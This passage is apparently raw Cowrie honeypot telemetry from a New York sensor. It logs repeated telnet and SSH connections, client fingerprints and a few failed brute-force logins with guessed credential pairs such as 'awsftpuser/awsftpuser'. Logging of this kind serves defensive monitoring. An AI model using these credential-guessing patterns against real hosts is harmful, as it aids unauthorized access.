{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42352,"dst_ip":"159.203.135.109","dst_port":23,"session":"2da4a17c8c71","protocol":"telnet","message":"New connection: 23.254.167.244:42352 (159.203.135.109:23) [session: 2da4a17c8c71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:03.216864Z"}
{"eventid":"cowrie.session.closed","duration":36.88807153701782,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:03.533024Z","src_ip":"23.254.167.244","session":"57ac19ab9aab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.40053749084473,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:03.740995Z","src_ip":"23.254.167.244","session":"1cb3483b641d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.923959255218506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:05.427165Z","src_ip":"23.254.167.244","session":"ed7d9b511010","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90367245674133,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:05.865891Z","src_ip":"209.159.146.115","session":"cde36c39c829","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53966212272644,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:06.406383Z","src_ip":"23.254.167.244","session":"481c10bfefbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.28046727180481,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:06.436095Z","src_ip":"209.159.146.115","session":"e02dc23e6b7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35136,"dst_ip":"159.203.135.109","dst_port":23,"session":"9432f3bbdfb3","protocol":"telnet","message":"New connection: 209.159.146.115:35136 (159.203.135.109:23) [session: 9432f3bbdfb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:07.640172Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48498,"dst_ip":"159.203.135.109","dst_port":23,"session":"f165ca92c98b","protocol":"telnet","message":"New connection: 23.254.167.244:48498 (159.203.135.109:23) [session: f165ca92c98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:07.770576Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36732,"dst_ip":"159.203.135.109","dst_port":23,"session":"f32548f8602c","protocol":"telnet","message":"New connection: 209.159.146.115:36732 (159.203.135.109:23) [session: f32548f8602c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:08.050543Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49542,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b25777cf2ef","protocol":"telnet","message":"New connection: 23.254.167.244:49542 (159.203.135.109:23) [session: 5b25777cf2ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:08.505915Z"}
{"eventid":"cowrie.session.closed","duration":36.17014169692993,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:08.522785Z","src_ip":"23.254.167.244","session":"919063bec5c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.563140630722046,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:08.903725Z","src_ip":"23.254.167.244","session":"9fa9d013c642","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44516,"dst_ip":"159.203.135.109","dst_port":23,"session":"a58b585b5b68","protocol":"telnet","message":"New connection: 209.159.146.115:44516 (159.203.135.109:23) [session: a58b585b5b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:10.318170Z"}
{"eventid":"cowrie.session.closed","duration":37.01964616775513,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:11.724978Z","src_ip":"23.254.167.244","session":"8d8af4da0a66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15273332595825,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:12.204371Z","src_ip":"209.159.146.115","session":"c313c10ae029","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.13890361785889,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:13.902142Z","src_ip":"23.254.167.244","session":"01fdb1fecfe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47798,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef901ffe0df1","protocol":"telnet","message":"New connection: 23.254.167.244:47798 (159.203.135.109:23) [session: ef901ffe0df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:14.052699Z"}
{"eventid":"cowrie.session.closed","duration":0.8396461009979248,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:14.892460Z","src_ip":"23.254.167.244","session":"ef901ffe0df1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57567310333252,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:16.655182Z","src_ip":"209.159.146.115","session":"ba7723d6814c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.15799069404602,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:17.831209Z","src_ip":"23.254.167.244","session":"634b850b20ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":39112,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c47d5f69b1c","protocol":"telnet","message":"New connection: 117.53.44.204:39112 (159.203.135.109:23) [session: 0c47d5f69b1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:18.642293Z"}
{"eventid":"cowrie.session.closed","duration":32.23634743690491,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:18.853268Z","src_ip":"209.159.146.115","session":"12154869b079","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37106,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf3d092ed370","protocol":"telnet","message":"New connection: 23.254.167.244:37106 (159.203.135.109:23) [session: cf3d092ed370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:19.373280Z"}
{"eventid":"cowrie.session.closed","duration":38.48464751243591,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:20.995816Z","src_ip":"185.26.126.47","session":"9419adb7ceee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":40202,"dst_ip":"159.203.135.109","dst_port":23,"session":"c987907460a1","protocol":"telnet","message":"New connection: 23.254.167.244:40202 (159.203.135.109:23) [session: c987907460a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:21.758702Z"}
{"eventid":"cowrie.session.closed","duration":35.02209281921387,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:22.069531Z","src_ip":"23.254.167.244","session":"63a0ff0a05c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":42504,"dst_ip":"159.203.135.109","dst_port":23,"session":"224e4930b57a","protocol":"telnet","message":"New connection: 23.254.167.244:42504 (159.203.135.109:23) [session: 224e4930b57a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:24.056577Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43368,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c320ae839a6","protocol":"telnet","message":"New connection: 23.254.167.244:43368 (159.203.135.109:23) [session: 1c320ae839a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:24.791743Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":43056,"dst_ip":"159.203.135.109","dst_port":23,"session":"b733c517c38e","protocol":"telnet","message":"New connection: 23.254.167.244:43056 (159.203.135.109:23) [session: b733c517c38e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:25.466516Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47086,"dst_ip":"159.203.135.109","dst_port":22,"session":"88e7ca880d42","protocol":"ssh","message":"New connection: 159.203.92.129:47086 (159.203.135.109:22) [session: 88e7ca880d42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:26.165578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:26.170338Z","src_ip":"159.203.92.129","session":"88e7ca880d42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:26.174821Z","src_ip":"159.203.92.129","session":"88e7ca880d42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anita","password":"123","message":"login attempt [anita/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:26.184784Z","src_ip":"159.203.92.129","session":"88e7ca880d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:27.194857Z","src_ip":"159.203.92.129","session":"88e7ca880d42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.96559476852417,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:28.449094Z","src_ip":"23.254.167.244","session":"83ecdfeb56aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49160,"dst_ip":"159.203.135.109","dst_port":23,"session":"40b9a3fa867c","protocol":"telnet","message":"New connection: 23.254.167.244:49160 (159.203.135.109:23) [session: 40b9a3fa867c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:29.162073Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":40850,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa234a5b42b3","protocol":"telnet","message":"New connection: 209.159.146.115:40850 (159.203.135.109:23) [session: aa234a5b42b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:29.439799Z"}
{"eventid":"cowrie.session.closed","duration":30.759970664978027,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:29.541200Z","src_ip":"23.254.167.244","session":"2c556e658a9f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":52290,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ccf96c411e","protocol":"telnet","message":"New connection: 117.53.44.204:52290 (159.203.135.109:23) [session: b5ccf96c411e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:31.437542Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":59760,"dst_ip":"10.17.0.5","dst_port":22,"session":"0bcee786e657","protocol":"ssh","message":"New connection: 20.244.18.126:59760 (10.17.0.5:22) [session: 0bcee786e657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:31.868846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:31.884763Z","src_ip":"20.244.18.126","session":"0bcee786e657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.92046046257019,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:32.011497Z","src_ip":"209.159.146.115","session":"cf74fff1a170","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:32.064886Z","src_ip":"20.244.18.126","session":"0bcee786e657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"awsftpuser","password":"awsftpuser","message":"login attempt [awsftpuser/awsftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:32.807028Z","src_ip":"20.244.18.126","session":"0bcee786e657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":53448,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad7efbeb0777","protocol":"telnet","message":"New connection: 23.254.167.244:53448 (159.203.135.109:23) [session: ad7efbeb0777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:33.177275Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":32848,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1e28f5d2dd0","protocol":"telnet","message":"New connection: 209.159.146.115:32848 (159.203.135.109:23) [session: b1e28f5d2dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:33.632231Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60272,"dst_ip":"159.203.135.109","dst_port":23,"session":"08855ba9bde6","protocol":"telnet","message":"New connection: 117.53.44.204:60272 (159.203.135.109:23) [session: 08855ba9bde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:33.766503Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:33.995362Z","src_ip":"20.244.18.126","session":"0bcee786e657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.820072412490845,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:35.460539Z","src_ip":"23.254.167.244","session":"2ef9e3b9d622","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.520758867263794,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:35.746522Z","src_ip":"23.254.167.244","session":"57526a459f4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56732,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbc629d6fd72","protocol":"telnet","message":"New connection: 23.254.167.244:56732 (159.203.135.109:23) [session: dbc629d6fd72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:35.959447Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":56008,"dst_ip":"159.203.135.109","dst_port":23,"session":"c771b6e74d04","protocol":"telnet","message":"New connection: 23.254.167.244:56008 (159.203.135.109:23) [session: c771b6e74d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:36.509665Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":55990,"dst_ip":"10.17.0.5","dst_port":22,"session":"003b46932202","protocol":"ssh","message":"New connection: 80.94.92.182:55990 (10.17.0.5:22) [session: 003b46932202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:36.820762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:36.936927Z","src_ip":"80.94.92.182","session":"003b46932202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:36.940567Z","src_ip":"80.94.92.182","session":"003b46932202","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60280,"dst_ip":"159.203.135.109","dst_port":23,"session":"a21b7db80342","protocol":"telnet","message":"New connection: 117.53.44.204:60280 (159.203.135.109:23) [session: a21b7db80342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:36.986473Z"}
{"eventid":"cowrie.session.closed","duration":39.41264343261719,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:37.715456Z","src_ip":"23.254.167.244","session":"07f401273c5f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:37.749189Z","src_ip":"80.94.92.182","session":"003b46932202","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.676230669021606,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:38.057047Z","src_ip":"209.159.146.115","session":"62e942f652ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":43814,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee9ad34e033a","protocol":"ssh","message":"New connection: 157.66.34.121:43814 (159.203.135.109:22) [session: ee9ad34e033a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:38.525372Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:38.530501Z","src_ip":"157.66.34.121","session":"ee9ad34e033a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.53.44.204","src_port":60294,"dst_ip":"159.203.135.109","dst_port":23,"session":"32e6ff279ab1","protocol":"telnet","message":"New connection: 117.53.44.204:60294 (159.203.135.109:23) [session: 32e6ff279ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:06:38.704187Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-